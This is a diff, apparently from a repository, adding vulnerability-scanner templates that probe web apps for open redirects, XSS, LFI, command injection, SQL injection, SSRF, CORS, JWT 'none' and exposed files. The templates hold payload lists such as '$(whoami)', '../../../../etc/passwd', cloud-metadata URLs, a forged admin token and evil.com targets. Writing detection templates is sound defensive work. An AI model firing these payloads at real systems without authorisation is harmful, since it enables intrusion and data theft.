- "/.gitlab-ci.yml"
|
28
|
+
- "/.travis.yml"
|
29
|
+
- "/swagger.json"
|
30
|
+
- "/swagger.yaml"
|
31
|
+
- "/api-docs"
|
32
|
+
- "/graphql"
|
33
|
+
|
34
|
+
matchers:
|
35
|
+
- type: status
|
36
|
+
status:
|
37
|
+
- 200
|
@@ -0,0 +1,35 @@
|
|
1
|
+
id: open-redirect-fuzz
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: Open Redirect Fuzz
|
5
|
+
author: moriarty
|
6
|
+
severity: low
|
7
|
+
description: Fuzzes redirect parameters with malicious destinations to detect open redirects.
|
8
|
+
tags: redirect,fuzzing
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/redirect?url=https://example.com"
|
14
|
+
- "/login?next=https://example.com"
|
15
|
+
fuzz:
|
16
|
+
url:
|
17
|
+
- "https://evil.com"
|
18
|
+
- "//attacker.test"
|
19
|
+
- path
|
20
|
+
fuzz_max: 10
|
21
|
+
matchers-condition: or
|
22
|
+
matchers:
|
23
|
+
- type: status
|
24
|
+
status:
|
25
|
+
- 301
|
26
|
+
- 302
|
27
|
+
- 303
|
28
|
+
- 307
|
29
|
+
- 308
|
30
|
+
- type: word
|
31
|
+
part: header
|
32
|
+
words:
|
33
|
+
- "evil.com"
|
34
|
+
- "attacker.test"
|
35
|
+
condition: or
|
@@ -0,0 +1,29 @@
|
|
1
|
+
id: xss-search-fuzz
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: Reflected XSS Search Fuzz
|
5
|
+
author: moriarty
|
6
|
+
severity: medium
|
7
|
+
description: Exercises search endpoints with common XSS payloads using the auto_fuzz engine.
|
8
|
+
tags: xss,fuzzing,reflection
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/search?q={{payload}}"
|
14
|
+
auto_fuzz:
|
15
|
+
payload:
|
16
|
+
- xss
|
17
|
+
- "<svg/onload=alert(1)>"
|
18
|
+
- "<img src=x onerror=alert(1)>"
|
19
|
+
matchers-condition: or
|
20
|
+
matchers:
|
21
|
+
- type: regex
|
22
|
+
part: body
|
23
|
+
regex:
|
24
|
+
- "<svg/onload=alert"
|
25
|
+
- "onerror=alert"
|
26
|
+
- type: regex
|
27
|
+
part: body
|
28
|
+
regex:
|
29
|
+
- '<script>.*alert\(1\)'
|
@@ -0,0 +1,18 @@
|
|
1
|
+
id: git-config
|
2
|
+
info:
|
3
|
+
description: Detects exposed .git/config file
|
4
|
+
name: Git Config Exposure
|
5
|
+
severity: high
|
6
|
+
matchers:
|
7
|
+
- condition: and
|
8
|
+
type: word
|
9
|
+
words:
|
10
|
+
- '[core]'
|
11
|
+
- '[remote'
|
12
|
+
- status:
|
13
|
+
- 200
|
14
|
+
type: status
|
15
|
+
requests:
|
16
|
+
- method: GET
|
17
|
+
path:
|
18
|
+
- /.git/config
|
@@ -0,0 +1,30 @@
|
|
1
|
+
id: cors-misconfiguration
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: CORS Misconfiguration
|
5
|
+
author: moriarty
|
6
|
+
severity: medium
|
7
|
+
description: Detects insecure CORS configuration
|
8
|
+
tags: cors,misconfiguration
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/"
|
14
|
+
|
15
|
+
headers:
|
16
|
+
Origin: https://evil.com
|
17
|
+
|
18
|
+
matchers-condition: and
|
19
|
+
matchers:
|
20
|
+
- type: word
|
21
|
+
part: header
|
22
|
+
words:
|
23
|
+
- "Access-Control-Allow-Origin: https://evil.com"
|
24
|
+
- "Access-Control-Allow-Origin: *"
|
25
|
+
condition: or
|
26
|
+
|
27
|
+
- type: word
|
28
|
+
part: header
|
29
|
+
words:
|
30
|
+
- "Access-Control-Allow-Credentials: true"
|
@@ -0,0 +1,29 @@
|
|
1
|
+
id: debug-enabled
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: Debug Mode Enabled
|
5
|
+
author: moriarty
|
6
|
+
severity: high
|
7
|
+
description: Detects applications with debug mode enabled
|
8
|
+
tags: misconfiguration,debug
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/"
|
14
|
+
- "/index.php"
|
15
|
+
- "/index.asp"
|
16
|
+
- "/index.aspx"
|
17
|
+
|
18
|
+
matchers:
|
19
|
+
- type: word
|
20
|
+
words:
|
21
|
+
- "DEBUG = True"
|
22
|
+
- "debug mode is on"
|
23
|
+
- "Debugger is active"
|
24
|
+
- "APP_DEBUG=true"
|
25
|
+
- "display_errors = On"
|
26
|
+
- "Symfony Profiler"
|
27
|
+
- "Laravel Debugbar"
|
28
|
+
- "Stack trace:"
|
29
|
+
condition: or
|
@@ -0,0 +1,33 @@
|
|
1
|
+
id: directory-listing
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: Directory Listing Enabled
|
5
|
+
author: moriarty
|
6
|
+
severity: medium
|
7
|
+
description: Detects directories with listing enabled
|
8
|
+
tags: misconfiguration,directory-listing
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/admin/"
|
14
|
+
- "/backup/"
|
15
|
+
- "/uploads/"
|
16
|
+
- "/files/"
|
17
|
+
- "/images/"
|
18
|
+
- "/assets/"
|
19
|
+
- "/temp/"
|
20
|
+
- "/tmp/"
|
21
|
+
|
22
|
+
matchers-condition: and
|
23
|
+
matchers:
|
24
|
+
- type: word
|
25
|
+
words:
|
26
|
+
- "Index of /"
|
27
|
+
- "Directory listing for"
|
28
|
+
- "Parent Directory"
|
29
|
+
condition: or
|
30
|
+
|
31
|
+
- type: status
|
32
|
+
status:
|
33
|
+
- 200
|
@@ -0,0 +1,30 @@
|
|
1
|
+
id: jwt-none-algorithm
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: JWT None Algorithm
|
5
|
+
author: moriarty
|
6
|
+
severity: high
|
7
|
+
description: Detects JWT tokens accepting 'none' algorithm
|
8
|
+
tags: jwt,misconfiguration,auth
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/api/user"
|
14
|
+
- "/api/profile"
|
15
|
+
- "/api/admin"
|
16
|
+
|
17
|
+
headers:
|
18
|
+
Authorization: "Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImlhdCI6MTUxNjIzOTAyMn0."
|
19
|
+
|
20
|
+
matchers:
|
21
|
+
- type: status
|
22
|
+
status:
|
23
|
+
- 200
|
24
|
+
|
25
|
+
- type: word
|
26
|
+
words:
|
27
|
+
- "admin"
|
28
|
+
- "user"
|
29
|
+
- "profile"
|
30
|
+
condition: or
|
@@ -0,0 +1,23 @@
|
|
1
|
+
id: ssl-tls-weak
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: Weak SSL/TLS Configuration
|
5
|
+
author: moriarty
|
6
|
+
severity: medium
|
7
|
+
description: Detects weak SSL/TLS configuration
|
8
|
+
tags: ssl,tls,misconfiguration
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/"
|
14
|
+
|
15
|
+
matchers:
|
16
|
+
- type: word
|
17
|
+
part: header
|
18
|
+
words:
|
19
|
+
- "TLSv1.0"
|
20
|
+
- "TLSv1.1"
|
21
|
+
- "SSLv2"
|
22
|
+
- "SSLv3"
|
23
|
+
condition: or
|
@@ -0,0 +1,31 @@
|
|
1
|
+
id: lfi-basic
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: Local File Inclusion
|
5
|
+
author: moriarty
|
6
|
+
severity: critical
|
7
|
+
description: Detects Local File Inclusion vulnerabilities
|
8
|
+
tags: lfi,injection
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/?file={{lfi}}"
|
14
|
+
- "/?page={{lfi}}"
|
15
|
+
- "/?include={{lfi}}"
|
16
|
+
- "/index.php?file={{lfi}}"
|
17
|
+
|
18
|
+
payloads:
|
19
|
+
lfi:
|
20
|
+
- "/etc/passwd"
|
21
|
+
- "../../../../etc/passwd"
|
22
|
+
- "..\\..\\..\\..\\windows\\win.ini"
|
23
|
+
- "/proc/self/environ"
|
24
|
+
|
25
|
+
matchers:
|
26
|
+
- type: regex
|
27
|
+
regex:
|
28
|
+
- "root:.*:0:0:"
|
29
|
+
- "for 16-bit app support"
|
30
|
+
- "\\[extensions\\]"
|
31
|
+
condition: or
|
@@ -0,0 +1,31 @@
|
|
1
|
+
id: open-redirect
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: Open Redirect
|
5
|
+
author: moriarty
|
6
|
+
severity: medium
|
7
|
+
description: Detects open redirect vulnerabilities
|
8
|
+
tags: redirect,injection
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/?redirect=https://evil.com"
|
14
|
+
- "/?url=https://evil.com"
|
15
|
+
- "/?next=https://evil.com"
|
16
|
+
- "/redirect?url=https://evil.com"
|
17
|
+
- "/login?next=https://evil.com"
|
18
|
+
|
19
|
+
matchers:
|
20
|
+
- type: status
|
21
|
+
status:
|
22
|
+
- 301
|
23
|
+
- 302
|
24
|
+
- 303
|
25
|
+
- 307
|
26
|
+
- 308
|
27
|
+
|
28
|
+
- type: word
|
29
|
+
part: header
|
30
|
+
words:
|
31
|
+
- "evil.com"
|
@@ -0,0 +1,34 @@
|
|
1
|
+
id: rce-basic
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: Remote Code Execution
|
5
|
+
author: moriarty
|
6
|
+
severity: critical
|
7
|
+
description: Detects basic RCE vulnerabilities
|
8
|
+
tags: rce,injection
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/?cmd={{rce}}"
|
14
|
+
- "/exec?cmd={{rce}}"
|
15
|
+
- "/shell?cmd={{rce}}"
|
16
|
+
|
17
|
+
payloads:
|
18
|
+
rce:
|
19
|
+
- "whoami"
|
20
|
+
- "id"
|
21
|
+
- "cat /etc/passwd"
|
22
|
+
- ";whoami"
|
23
|
+
- "| whoami"
|
24
|
+
- "`whoami`"
|
25
|
+
- "$(whoami)"
|
26
|
+
|
27
|
+
matchers:
|
28
|
+
- type: regex
|
29
|
+
regex:
|
30
|
+
- "uid=[0-9]+\\(.*\\)"
|
31
|
+
- "root:.*:0:0:"
|
32
|
+
- "www-data"
|
33
|
+
- "nobody"
|
34
|
+
condition: or
|
@@ -0,0 +1,39 @@
|
|
1
|
+
id: sqli-error
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: SQL Injection - Error Based
|
5
|
+
author: moriarty
|
6
|
+
severity: critical
|
7
|
+
description: Detects error-based SQL injection vulnerabilities
|
8
|
+
tags: sqli,injection,database
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/?id={{sqli}}"
|
14
|
+
- "/product.php?id={{sqli}}"
|
15
|
+
- "/user.php?id={{sqli}}"
|
16
|
+
|
17
|
+
payloads:
|
18
|
+
sqli:
|
19
|
+
- "'"
|
20
|
+
- "''"
|
21
|
+
- "' OR '1'='1"
|
22
|
+
- "1' AND '1'='1"
|
23
|
+
- "1' AND '1'='2"
|
24
|
+
|
25
|
+
matchers:
|
26
|
+
- type: regex
|
27
|
+
regex:
|
28
|
+
- "SQL syntax.*MySQL"
|
29
|
+
- "Warning.*mysql_"
|
30
|
+
- "MySqlException"
|
31
|
+
- "PostgreSQL.*ERROR"
|
32
|
+
- "Warning.*pg_"
|
33
|
+
- "valid PostgreSQL result"
|
34
|
+
- "Microsoft SQL.*Driver"
|
35
|
+
- "ODBC SQL Server"
|
36
|
+
- "SQLServer JDBC Driver"
|
37
|
+
- "Oracle error"
|
38
|
+
- "ORA-[0-9]+"
|
39
|
+
condition: or
|
@@ -0,0 +1,31 @@
|
|
1
|
+
id: ssrf-basic
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: Server-Side Request Forgery
|
5
|
+
author: moriarty
|
6
|
+
severity: high
|
7
|
+
description: Detects SSRF vulnerabilities
|
8
|
+
tags: ssrf,injection
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/?url={{ssrf}}"
|
14
|
+
- "/fetch?url={{ssrf}}"
|
15
|
+
- "/proxy?url={{ssrf}}"
|
16
|
+
|
17
|
+
payloads:
|
18
|
+
ssrf:
|
19
|
+
- "http://169.254.169.254/latest/meta-data/"
|
20
|
+
- "http://localhost/admin"
|
21
|
+
- "http://127.0.0.1:22"
|
22
|
+
- "http://[::1]/admin"
|
23
|
+
|
24
|
+
matchers:
|
25
|
+
- type: word
|
26
|
+
words:
|
27
|
+
- "ami-id"
|
28
|
+
- "instance-id"
|
29
|
+
- "local-hostname"
|
30
|
+
- "SSH-"
|
31
|
+
condition: or
|
@@ -0,0 +1,38 @@
|
|
1
|
+
id: xss-reflected
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: Reflected XSS Detection
|
5
|
+
author: moriarty
|
6
|
+
severity: high
|
7
|
+
description: Detects reflected XSS vulnerabilities
|
8
|
+
tags: xss,injection
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/?q={{xss}}"
|
14
|
+
- "/search?query={{xss}}"
|
15
|
+
- "/search.php?q={{xss}}"
|
16
|
+
|
17
|
+
payloads:
|
18
|
+
xss:
|
19
|
+
- '<script>alert(1)</script>'
|
20
|
+
- '<img src=x onerror=alert(1)>'
|
21
|
+
- '"><script>alert(1)</script>'
|
22
|
+
- '<svg/onload=alert(1)>'
|
23
|
+
|
24
|
+
matchers-condition: and
|
25
|
+
matchers:
|
26
|
+
- type: word
|
27
|
+
part: body
|
28
|
+
words:
|
29
|
+
- '{{xss}}'
|
30
|
+
|
31
|
+
- type: word
|
32
|
+
part: header
|
33
|
+
words:
|
34
|
+
- "text/html"
|
35
|
+
|
36
|
+
- type: status
|
37
|
+
status:
|
38
|
+
- 200
|